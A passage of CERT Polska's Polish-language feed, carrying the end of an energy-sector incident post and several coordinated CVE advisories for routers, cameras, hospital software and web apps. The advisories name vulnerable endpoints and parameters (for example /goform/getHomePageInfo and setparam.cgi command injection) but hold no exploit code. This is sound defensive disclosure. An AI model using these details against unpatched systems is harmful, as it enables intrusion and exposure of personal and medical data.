&lt;li&gt;Weryfikacja logów pod kątem występowania IoC oraz technik wykorzystywanych przez aktora, opisanych w raporcie. Należy zgłosić incydent do właściwego zespołu CSIRT poziomu krajowego w przypadku ich wykrycia. &lt;/li&gt;
&lt;li&gt;Rejestracja w systemie &lt;a href="https://moje.cert.pl/"&gt;moje.cert.pl&lt;/a&gt;. Należy podać i zweryfikować wszystkie zakresy zewnętrznej adresacji IP oraz wykorzystywane przez organizacje domeny, co umożliwi monitorowanie bezpieczeństwa tych zasobów. Wyznaczona osoba odpowiedzialna za cyberbezpieczeństwo powinna być wskazana w portalu jako osoba do kontaktu. Należy utrzymywać aktualność podanych danych kontaktowych. &lt;/li&gt;
&lt;li&gt;Wdrożenie rekomendacji dla wzmocnienia ochrony systemów OT opisanych w artykule &lt;a href="https://cert.pl/posts/2024/05/rekomendacje-ot/"&gt;Rekomendacje dla wzmocnienia ochrony systemów OT&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Zastosowanie rekomendacji opisanych w &lt;a href="https://www.gov.pl/web/baza-wiedzy/komunikat-pelnomocnika-rzadu-do-spraw-cyberbezpieczenstwa-dotyczacy-cyberbezpieczenstwa-oze"&gt;Komunikacie Pełnomocnika Rządu do spraw Cyberbezpieczeństwa dotyczącym cyberbezpieczeństwa OZE&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Zgłaszanie incydentów cyberbezpieczeństwa do właściwego zespołu CSIRT poziomu krajowego:&lt;br&gt;
   • CSIRT GOV - administracja rządowa i infrastruktura krytyczna,&lt;br&gt;
   • CSIRT MON - instytucje wojskowe,&lt;br&gt;
   • CSIRT NASK - wszystkie pozostałe.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;Zachęcamy do &lt;a href="/uploads/docs/CERT_Polska_Raport_Incydent_Sektor_Energii_2025.pdf"&gt;pobrania i lektury raportu&lt;/a&gt;, w którym opisujemy pełny przebieg zdarzeń, analizę techniczną użytego złośliwego oprogramowania, wskaźniki kompromitacji oraz opis technik, taktyk i procedur stosowanych przez atakującego.&lt;/p&gt;
&lt;style&gt;
.article .report-download {
  vertical-align: top;
  display: inline-block;
  text-align: center;
  margin: 5px 0 5px 20px;
  float: right;
}

.article .report-download img {
  display: block;
  width: 100%;
  max-width: 400px;
  margin: 0 0 10px 0;
  float: right;
}

.article .report-download .caption {
  display: block;
  font-weight: bold;
  font-size: 1.5em;
  clear: both;
}

.article .report-download i {
    display: inline-block;
    width: 1em;
    height: 1em;
    background-size: contain;
    background-repeat: no-repeat;
    vertical-align: middle;
}

.article .report-download i.pl {
    background-image: url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjIiIGhlaWdodD0iMjIiIHZpZXdCb3g9IjAgMCAyMiAyMiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPGcgY2xpcC1wYXRoPSJ1cmwoI2NsaXAwXzcyNF8xMDM2MCkiPgo8cGF0aCBkPSJNMTkuNTU1NiAzLjA1NTY2SDIuNDQ0NDRDMS43OTYxNCAzLjA1NTY2IDEuMTc0MzggMy4zMTMyIDAuNzE1OTYxIDMuNzcxNjNDMC4yNTc1MzkgNC4yMzAwNSAwIDQuODUxOCAwIDUuNTAwMTFMMCAxMS4wMDAxSDIyVjUuNTAwMTFDMjIgNC44NTE4IDIxLjc0MjUgNC4yMzAwNSAyMS4yODQgMy43NzE2M0MyMC44MjU2IDMuMzEzMiAyMC4yMDM5IDMuMDU1NjYgMTkuNTU1NiAzLjA1NTY2WiIgZmlsbD0iI0VFRUVFRSIvPgo8cGF0aCBkPSJNMCAxNi41QzAgMTcuMTQ4MyAwLjI1NzUzOSAxNy43NzAxIDAuNzE1OTYxIDE4LjIyODVDMS4xNzQzOCAxOC42ODY5IDEuNzk2MTQgMTguOTQ0NCAyLjQ0NDQ0IDE4Ljk0NDRIMTkuNTU1NkMyMC4yMDM5IDE4Ljk0NDQgMjAuODI1NiAxOC42ODY5IDIxLjI4NCAxOC4yMjg1QzIxLjc0MjUgMTcuNzcwMSAyMiAxNy4xNDgzIDIyIDE2LjVWMTFIMFYxNi41WiIgZmlsbD0iI0RDMTQzQyIvPgo8L2c+CjxkZWZzPgo8Y2xpcFBhdGggaWQ9ImNsaXAwXzcyNF8xMDM2MCI+CjxyZWN0IHdpZHRoPSIyMiIgaGVpZ2h0PSIyMiIgZmlsbD0id2hpdGUiLz4KPC9jbGlwUGF0aD4KPC9kZWZzPgo8L3N2Zz4K");
}

.article .report-download i.en {
    background-image: url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjIiIGhlaWdodD0iMjIiIHZpZXdCb3g9IjAgMCAyMiAyMiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPGcgY2xpcC1wYXRoPSJ1cmwoI2NsaXAwXzc4MV8xMDkzNSkiPgo8cGF0aCBkPSJNMTMuMDYyNSAxOC41NjI1SDE4LjU2MjVDMTkuMjQyMSAxOC41NjI1IDE5LjgxOTYgMTguNDA5MiAyMC4yOTkyIDE4LjE0MjFMMTMuMDYyNSAxMy44MjUzVjE4LjU2MjVaTTIxLjg4MzIgMTUuODg0N0MyMS45NjE1IDE1LjUzNTEgMjIuMDAxNCAxNS4xNjQ5IDIyLjAwMTQgMTQuNzgwOVYxMy4wNjIySDE3LjE1MTFMMjEuODgxOCAxNS44ODQ3TTAuMTIwMzUzIDYuMTA0NjZDMC4wMzg4ODU4IDYuNDcwMzggLTAuMDAxNDY4NjMgNi44NDQwNiA0LjA4MjMyZS0wNSA3LjIxODc1VjguOTM3NUg0Ljg2ODkyTDAuMTIwMzUzIDYuMTA0NjZaTTguOTM3NTQgMy40Mzc1SDMuNDM3NTRDMi43NjI3NiAzLjQzNzUgMi4xODkwNCAzLjU4ODc1IDEuNzExNTcgMy44NTIwNkw4LjkzNzU0IDguMTYyNjlWMy40Mzc1Wk0xLjczMzU3IDE4LjE1ODlDMi4yMDY1NyAxOC40MTQ3IDIuNzcyNzMgMTguNTYyNSAzLjQzNzU0IDE4LjU2MjVIOC45Mzc1NFYxMy44NjE0TDEuNzMzNTcgMTguMTU4OVpNNC4wODIzMmUtMDUgMTMuMDYyNVYxNC43ODEyQzQuMDgyMzJlLTA1IDE1LjE3NjkgMC4wNDE5NzgzIDE1LjU1ODEgMC4xMjQ4MjIgMTUuOTE2N0w0LjkwOTQ4IDEzLjA2MjVINC4wODIzMmUtMDVaTTIwLjMyMDggMy44Njg5MUMxOS44Mzc1IDMuNTk0NTkgMTkuMjUyMSAzLjQzNzUgMTguNTYyNSAzLjQzNzVIMTMuMDYyNVY4LjE5ODc4TDIwLjMyMDggMy44Njg5MVpNMjIgOC45Mzc1VjcuMjE4NzVDMjIgNi44NDI2OSAyMS45NjEyIDYuNDgwMDMgMjEuODg1OSA2LjEzNjk3TDE3LjE5MTcgOC45Mzc1SDIyWiIgZmlsbD0iIzJFMzE5MiIvPgo8cGF0aCBkPSJNMTcuMTkxNiA4LjkzNzVMMjEuODg1OSA2LjEzNjk3QzIxLjY3MDcgNS4xNTI0NyAyMS4xNDY4IDQuMzM3NDQgMjAuMzIwOCAzLjg2ODkxTDEzLjA2MjUgOC4xOTg3OFYzLjQzNzVIMTIuMzc1VjkuNjI1SDIyVjguOTM3NUgxNy4xOTE2Wk0wIDEyLjM3NVYxMy4wNjI1SDQuOTA5NDRMMC4xMjQ3ODEgMTUuOTE2N0MwLjM1MiAxNi44OTgxIDAuODkxNjg4IDE3LjcwMzggMS43MzM1MyAxOC4xNTg5TDguOTM3NSAxMy44NjE0VjE4LjU2MjVIOS42MjVWMTIuMzc1SDBaTTIyIDEyLjM3NUgxMi4zNzVWMTguNTYyNUgxMy4wNjI1VjEzLjgyNTNMMjAuMjk5MSAxOC4xNDI0QzIxLjEzMTMgMTcuNjc5MSAyMS42NjE3IDE2Ljg2ODUgMjEuODgxOCAxNS44ODU0TDE3LjE1MTEgMTMuMDYyNUgyMlYxMi4zNzVaTTguOTM3NSAzLjQzNzVWOC4xNjI2OUwxLjcxMTUzIDMuODUyMDZDMC44NzYyMTkgNC4zMTI2OSAwLjM0MjM3NSA1LjEyMTg4IDAuMTE5OTY5IDYuMTA0NjZMNC44Njg4OCA4LjkzNzVIMFY5LjYyNUg5LjYyNVYzLjQzNzVIOC45Mzc1WiIgZmlsbD0iI0U2RTdFOCIvPgo8cGF0aCBkPSJNMTIuMzc1IDkuNjI1VjMuNDM3NUg5LjYyNVY5LjYyNUgwVjEyLjM3NUg5LjYyNVYxOC41NjI1SDEyLjM3NVYxMi4zNzVIMjJWOS42MjVIMTIuMzc1WiIgZmlsbD0iI0JFMUUyRCIvPgo8cGF0aCBkPSJNNy41NDA4IDguOTM3ODZMMC42NDg2MDkgNC44MjM1MkMwLjUwMDQ1MyA1LjA0MzUyIDAuMzgxNTE2IDUuMjg1NTIgMC4yODMyMDMgNS41NDMzM0w1Ljk3MTIzIDguOTM3ODZINy41Mzk3N00yMS42ODY4IDE2LjUzMTNMMTUuOTA3MyAxMy4wNjI5SDE0LjMwNjhMMjEuMjg5NCAxNy4yNjMxQzIxLjQ1MTMgMTcuMDM2OSAyMS41ODQ4IDE2Ljc5MTUgMjEuNjg2OCAxNi41MzI3TTIwLjg3MTggNC4yNTk3N0wxMy4wNTE1IDguOTM3ODZMMTQuNjM5MiA4LjkzODg5TDIxLjM4NzQgNC44OTg4QzIxLjIzNjggNC42MjQ4MyAyMS4wNzggNC40NDgxNCAyMC44NzE4IDQuMjU5NzdaTTAuNjIyODI4IDE3LjE0NDlDMC43Nzc0NTggMTcuMzgwNCAwLjk2MzU0NCAxNy41OTM3IDEuMTc1OTIgMTcuNzc4OEw4Ljk1ODc3IDEzLjA2MjlINy4zOTAyM0wwLjYyMjgyOCAxNy4xNDQ5WiIgZmlsbD0iI0JFMUUyRCIvPgo8L2c+CjxkZWZzPgo8Y2xpcFBhdGggaWQ9ImNsaXAwXzc4MV8xMDkzNSI+CjxyZWN0IHdpZHRoPSIyMiIgaGVpZ2h0PSIyMiIgZmlsbD0id2hpdGUiLz4KPC9jbGlwUGF0aD4KPC9kZWZzPgo8L3N2Zz4K");
}

.article .report-download a:hover {
    text-decoration-line: none;
}

.article .report-download a:hover span {
    background-color: #157539;
    color: #fff;
}
&lt;/style&gt;</content><category term="News"></category><category term="raport"></category><category term="incydent"></category><category term="energia"></category></entry><entry><title>Podatności w oprogramowaniu routera LV-WR21Q</title><link href="https://cert.pl/posts/2026/01/CVE-2025-12386/" rel="alternate"></link><published>2026-01-27T11:55:00+01:00</published><updated>2026-01-27T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-01-27:/posts/2026/01/CVE-2025-12386/</id><summary type="html">W oprogramowaniu routera LV-WR21Q wykryto 2 podatności różnego typu (CVE-2025-12386 oraz CVE-2025-12387)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu routera Pix-Link LV-WR21Q i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-12386"&gt;CVE-2025-12386&lt;/a&gt;: Endpoint &lt;code&gt;/goform/getHomePageInfo&lt;/code&gt; w Pix-Link LV-WR21Q nie wymaga żadnej formy uwierzytelnienia. Zdalny, nieuwierzytelniony atakujący może wykorzystać ten endpoint, np. do uzyskania hasła do punktu dostępowego w postaci jawnego tekstu.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-12387"&gt;CVE-2025-12387&lt;/a&gt;: Podatność w module językowym routera Pix-Link LV-WR21Q umożliwia zdalnemu atakującemu wywołanie ataku typu DoS poprzez wysłanie specjalnie spreparowanego żądania HTTP POST zawierającego nieistniejący parametr językowy. Powoduje to, że serwer nie jest w stanie poprawnie udostępnić pliku &lt;code&gt;lang.js&lt;/code&gt;, co skutkuje niedostępnością panelu administracyjnego i prowadzi do stanu DoS aż do momentu przywrócenia ustawień językowych do prawidłowej wartości. Odmowa usługi dotyczy wyłącznie panelu administracyjnego i nie wpływa na pozostałe funkcjonalności routera.&lt;/p&gt;
&lt;p&gt;Producent został wcześniej poinformowany o tych podatnościach, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Przetestowano i potwierdzono podatności jedynie w wersji V108_108 - inne wersje nie były testowane i również mogą być podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Wojciechowi Cybowskiemu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność TCC Bypass w aplikacji Inkscape na MacOS</title><link href="https://cert.pl/posts/2026/01/CVE-2025-15523/" rel="alternate"></link><published>2026-01-22T13:55:00+01:00</published><updated>2026-01-22T13:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-01-22:/posts/2026/01/CVE-2025-15523/</id><summary type="html">W aplikacji Inkscape na system MacOS wykryto podatność umożliwiającą atak typu TCC Bypass (CVE-2025-15523).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Inkscape i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-15523"&gt;CVE-2025-15523&lt;/a&gt;: Wersja Inkscape dla MacOS zawiera interpreter Pythona, który dziedziczy uprawnienia TCC (Transparency, Consent, and Control) nadane przez użytkownika głównej aplikacji. Atakujący mający dostęp do lokalnego konta użytkownika może uruchomić ten interpreter z dowolnymi poleceniami lub skryptami, wykorzystując wcześniej nadane uprawnienia TCC do uzyskania dostępu do plików użytkownika znajdujących się w folderach chronionych — bez wywoływania dodatkowych monitów systemowych. Dostęp do innych zasobów, które nie zostały wcześniej zatwierdzone w ramach TCC, spowoduje wyświetlenie monitu o zgodę w imieniu podatnej aplikacji, co może posłużyć do ukrycia złośliwego działania atakującego.&lt;/p&gt;
&lt;p&gt;Problem został naprawiony w wersji 1.4.3 programu Inkscape.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Karolowi Mazurkowi oraz Hubertowi Decyuszowi z zespołu AFINE.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu Quick.Cart</title><link href="https://cert.pl/posts/2026/01/CVE-2025-67683/" rel="alternate"></link><published>2026-01-22T11:55:00+01:00</published><updated>2026-01-22T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-01-22:/posts/2026/01/CVE-2025-67683/</id><summary type="html">W oprogramowaniu Quick.Cart wykryto 2 podatności różnego typu (CVE-2025-67683 oraz CVE-2025-67684)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu OpenSolution Quick.Cart i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-67683"&gt;CVE-2025-67683&lt;/a&gt;: Quick.Cart jest podatny na Reflected Cross-Site Scripting w parametrze sSort. Atakujący może spreparować adres URL, który po otwarciu spowoduje wykonanie dowolnego kodu JavaScript w przeglądarce ofiary.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-67684"&gt;CVE-2025-67684&lt;/a&gt;: Quick.Cart jest podatny na ataki typu Local File Inclusion oraz Path Traversal w mechanizmie wyboru motywu. Quick.Cart pozwala uprzywilejowanemu użytkownikowi na przesłanie dowolnego pliku, weryfikując jedynie rozszerzenie nazwy pliku. Umożliwia to atakującemu dołączenie do pliku kodu PHP i jego wykonanie, co prowadzi do zdalnego wykonania kodu na serwerze.&lt;/p&gt;
&lt;p&gt;Producent został wcześniej poinformowany o tych podatnościach, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Przetestowano i potwierdzono podatności jedynie w wersji 6.7 - inne wersje nie były testowane i również mogą być podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Arkadiuszowi Marcie.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w aplikacji mobilnej Crazy Bubble Tea</title><link href="https://cert.pl/posts/2026/01/CVE-2025-14317/" rel="alternate"></link><published>2026-01-14T12:55:00+01:00</published><updated>2026-01-14T12:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-01-14:/posts/2026/01/CVE-2025-14317/</id><summary type="html">W aplikacji mobilnej Crazy Bubble Tea wykryto możliwość uzyskania danych osobowych innych użytkowników (CVE-2025-14317).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w aplikacji mobilnej Emaintenance Crazy Bubble Tea i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-14317"&gt;CVE-2025-14317&lt;/a&gt;: W aplikacji mobilnej Crazy Bubble Tea uwierzytelniony atakujący może uzyskać dane osobowe innych użytkowników poprzez enumerację parametru &lt;code&gt;loyaltyGuestId&lt;/code&gt;. Serwer nie weryfikuje uprawnień wymaganych do uzyskania tych danych.&lt;/p&gt;
&lt;p&gt;Podatność została naprawiona w wersji 915 (Android) oraz 7.4.1 (iOS).&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Tobiaszowi „Palidon” Kostrzewie.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Ysoft SafeQ 6</title><link href="https://cert.pl/posts/2026/01/CVE-2025-13175/" rel="alternate"></link><published>2026-01-14T11:55:00+01:00</published><updated>2026-01-14T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-01-14:/posts/2026/01/CVE-2025-13175/</id><summary type="html">W oprogramowaniu Ysoft SafeQ 6 wykryto podatność polegająca na nieskutecznym maskowaniu hasła (CVE-2025-13175).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu YSoft SafeQ 6 i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-13175"&gt;CVE-2025-13175&lt;/a&gt;: Y Soft SafeQ 6 maskuje pole hasła do Workflow Connectora w taki sposób, że administrator z dostępem do interfejsu użytkownika może ujawnić jego wartość korzystając z narzędzi deweloperskich przeglądarki. Dotyczy to wyłącznie klientów, którzy korzystają z Workflow Connectora chronionego hasłem.
Podatność dotyczy wszystkich wersji produktu przed MU106.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Hubertowi Decyuszowi oraz Karolowi Mazurkowi z AFINE Team.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu kamery Vivotek IP7137</title><link href="https://cert.pl/posts/2026/01/CVE-2025-66049/" rel="alternate"></link><published>2026-01-09T12:55:00+01:00</published><updated>2026-01-09T12:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-01-09:/posts/2026/01/CVE-2025-66049/</id><summary type="html">W oprogramowaniu kamery Vivotek IP7137 wykryto 4 podatności różnego typu (od CVE-2025-66049 do CVE-2025-66052)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu kamery Vivotek IP7137 i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-66049"&gt;CVE-2025-66049&lt;/a&gt;: Kamera Vivotek IP7137 umożliwia dostęp do obrazu na żywo za pośrednictwem protokołu RTSP na porcie 8554 bez uwierzytelnienia. Pozwala to nieuprawnionym użytkownikom z dostępem sieciowym do kamery na podgląd obrazu, co może prowadzić do naruszenia prywatności i bezpieczeństwa użytkownika.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-66050"&gt;CVE-2025-66050&lt;/a&gt;: Kamera Vivotek IP7137 domyślnie nie wymaga podania hasła podczas logowania na konto administratora. Chociaż możliwe jest ustawienie takiego hasła, użytkownik nie jest informowany o konieczności jego konfiguracji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-66051"&gt;CVE-2025-66051&lt;/a&gt;: Kamera Vivotek IP7137 jest podatna na atak typu path traversal. Uwierzytelniony atakujący może uzyskać dostęp do zasobów znajdujących się poza katalogiem webroot przy użyciu bezpośredniego żądania HTTP. &lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-66052"&gt;CVE-2025-66052&lt;/a&gt;: Kamera Vivotek IP7137 jest podatna na atak typu command injection. Parametr &lt;code&gt;system_ntpIt&lt;/code&gt; wykorzystywany przez endpoint &lt;code&gt;/cgi-bin/admin/setparam.cgi&lt;/code&gt; nie jest odpowiednio filtrowany, co umożliwia użytkownikowi z uprawnieniami administratora przeprowadzenie ataku. &lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Producent nie odpowiedział na zgłoszenie CNA. Możliwe, że podatność dotyczy wszystkich wersji oprogramowania układowego (testowana wersja to 0200a). Ponieważ produkt osiągnął fazę End-Of-Life, nie należy oczekiwać wydania poprawki.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Szymonowi Paszunowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu routerów KAON CG3000T/CG3000TC</title><link href="https://cert.pl/posts/2026/01/CVE-2025-7072/" rel="alternate"></link><published>2026-01-09T11:55:00+01:00</published><updated>2026-01-09T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-01-09:/posts/2026/01/CVE-2025-7072/</id><summary type="html">W oprogramowaniu routerów KAON CG3000T oraz CG3000TC wykryto zaszyte poświadczenia umożliwiające zdalne przejęcie urządzenia (CVE-2025-7072).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie dotyczące podatności w dwóch routerach KAON: CG3000T oraz CG3000CT. Zespół uczestniczył w koordynacji procesu ujawnienia tej podatności.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-7072"&gt;CVE-2025-7072&lt;/a&gt;: Oprogramowanie układowe w routerach KAON CG3000TC oraz CG3000T zawiera zaszyte na stałe dane uwierzytelniające zapisane w postaci jawnego tekstu (wspólne dla wszystkich routerów tego modelu), które nieuwierzytelniony zdalny atakujący może wykorzystać do wykonywania poleceń z uprawnieniami roota.&lt;/p&gt;
&lt;p&gt;Podatność została naprawiona w wersjach oprogramowania układowego: &lt;strong&gt;1.00.67&lt;/strong&gt; dla CG3000TC oraz &lt;strong&gt;1.00.27&lt;/strong&gt; dla CG3000T.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Piotrowi Ługowskiemu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Asseco AMDX</title><link href="https://cert.pl/posts/2026/01/CVE-2025-4596/" rel="alternate"></link><published>2026-01-08T15:56:00+01:00</published><updated>2026-01-08T15:56:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-01-08:/posts/2026/01/CVE-2025-4596/</id><summary type="html">Możliwość nieautoryzowanego dostępu do dokumentacji medycznej została wykryta w oprogramowaniu Asseco AMDX (CVE-2025-4596).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;Asseco ADMX to oprogramowanie klasy HIS (Hospital Information System) wykorzystywane przez szpitale do przetwarzania danych medycznych. CERT Polska otrzymał zgłoszenie o podatności w tym oprogramowaniu i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-4596"&gt;CVE-2025-4596&lt;/a&gt; pozwala zalogowanym użytkownikom (pacjentom) na dostęp do dokumentacji medycznej innych użytkowników poprzez manipulację argumentami GET zawierającymi identyfikatory dokumentów.
Problem został naprawiony w wersji 6.09.01.62 systemu ADMX.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Wiktorowi Mrozowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu Asseco InfoMedica Plus</title><link href="https://cert.pl/posts/2026/01/CVE-2025-8306/" rel="alternate"></link><published>2026-01-08T13:55:00+01:00</published><updated>2026-01-08T13:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-01-08:/posts/2026/01/CVE-2025-8306/</id><summary type="html">W oprogramowaniu Asseco InfoMedica Plus wykryto 2 podatności różnego typu (CVE-2025-8306 oraz CVE-2025-8307).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Asseco InfoMedica Plus i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Asseco InfoMedica to kompleksowe rozwiązanie służące do zarządzania zarówno zadaniami administracyjnymi, jak i medycznymi w sektorze ochrony zdrowia.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-8306"&gt;CVE-2025-8306&lt;/a&gt;: Z powodu braku odpowiedniej granulacji kontroli dostępu użytkownik o niskich uprawnieniach może uzyskać zakodowane hasła należące do innych użytkowników (w tym głównego administratora).&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-8307"&gt;CVE-2025-8307&lt;/a&gt;: Hasła wszystkich użytkowników są przechowywane w bazie danych w formacie zakodowanym. Atakujący posiadający te hasła jest w stanie je odkodować, korzystając z algorytmu wbudowanego w część kliencką oprogramowania.&lt;/p&gt;
&lt;p&gt;Wykorzystanie obu podatności umożliwia atakującemu eskalację uprawnień.&lt;/p&gt;
&lt;p&gt;Obie podatności zostały naprawione w wersjach &lt;strong&gt;4.50.1&lt;/strong&gt; oraz &lt;strong&gt;5.38.0&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Maciejowi Kazulakowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Kieback&amp;Peter Neutrino-GLT</title><link href="https://cert.pl/posts/2026/01/CVE-2025-6225/" rel="alternate"></link><published>2026-01-07T11:55:00+01:00</published><updated>2026-01-07T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-01-07:/posts/2026/01/CVE-2025-6225/</id><summary type="html">W oprogramowaniu Kieback&amp;Peter Neutrino-GLT wykryto podatność umożliwiająca wstrzyknięcie komend (CVE-2025-6225).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Kieback&amp;amp;Peter Neutrino-GLT i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Produkt Kieback&amp;amp;Peter Neutrino-GLT jest używany do zarządzania budynkami.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-6225"&gt;CVE-2025-6225&lt;/a&gt;: Komponent webowy Kieback&amp;amp;Peter Neutrino-GLT - "SM70 PHWEB" jest podatny na wstrzyknięcie poleceń powłoki poprzez formularz logowania. W przypadku ataku wstrzyknięte polecenia wykonywane są z niskimi uprawnieniami systemowymi. &lt;/p&gt;
&lt;p&gt;Podatność została naprawiona w wersji 9.40.02.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
